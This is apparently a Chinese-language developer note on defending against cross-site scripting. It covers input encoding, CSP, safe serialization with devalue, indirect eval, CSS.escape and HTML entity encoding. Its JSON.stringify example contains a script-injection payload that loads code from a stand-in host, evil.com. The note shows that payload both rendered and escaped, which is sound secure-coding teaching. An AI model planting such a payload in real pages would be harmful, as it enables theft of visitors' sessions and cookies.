Cross-site Scripting(XSS)

11.18

参考

介绍

跨站脚本(Cross-site Scripting)是网页形式的代码注入。会导致页面执行攻击者的代码。

网页经常接收用户的输入。如果未对输入做过滤,输入中包含了恶意代码就可能导致 XSS 攻击。攻击成功后可以获取网页的内容、会话、cookies 等,提升权限绕过同源限制,可能向服务器发送伪造请求。

防御措施

防御 XSS 的主要方法

  • 对未知来源的字符串输入,做 编码(encoding)转义(escaping)

  • 对字符串输出,做 过渡(sanitize)

  • 启用 Content Security Policy(CSP),只运行特定域的脚本,忽略任何其它脚本

编码或转义方案

JavaScript

使用安全的字符串序列化方法

服务端使用用户输入来拼接字符串生成模板时,使用安全的字符串序列化(serialize)方法。例如,使用 devalue 代替JSON.stringify

错误例子

const state = {
  userinput: `</script><script src='https//evil.com/mwahaha.js'>`
};

const template = `
<script>
  // NEVER DO THIS
  var preloaded = ${JSON.stringify(state)};
</script>`;

导致后果

<script>
  // NEVER DO THIS
  var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>

使用devalue可以避免这种攻击

const template = `
<script>
  var preloaded = ${devalue(state)};
</script>`;
<script>
  var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>

(0, eval): call eval indirectly

当必须使用eval来运行字符串内容时,使用间接调用形式(0, eval)(string)可以确保在全局环境中运行。避免接触当前作用域的数据。

{
    const secret = 'A secret string';

    eval('console.log(secret)');      // A secret string
    (0, eval)('console.log(secret)'); // ReferenceError: secret is not defined
}

CSS.escape

CSS.escape(str)

CSS.escape(".foo#bar") // "\.foo\#bar"
CSS.escape("()[]{}")          // "\(\)\[\]\{\}"
CSS.escape('--a')             // "--a"
CSS.escape(0)                 // "\30 ", the Unicode code point of '0' is 30
CSS.escape('\0')              // "\ufffd", the Unicode REPLACEMENT CHARACTER

URL

HTML

  • entity encoding

    参考

    var encodedStr = rawStr.replace(/[\u00A0-\u9999<>\&]/gim, function(i) {
      return '&#'+i.charCodeAt(0)+';';
    });
    
  • HTML sanitization

其它方案

  • 框架提供的输入过滤 API

参考

Cross-site scripting

📖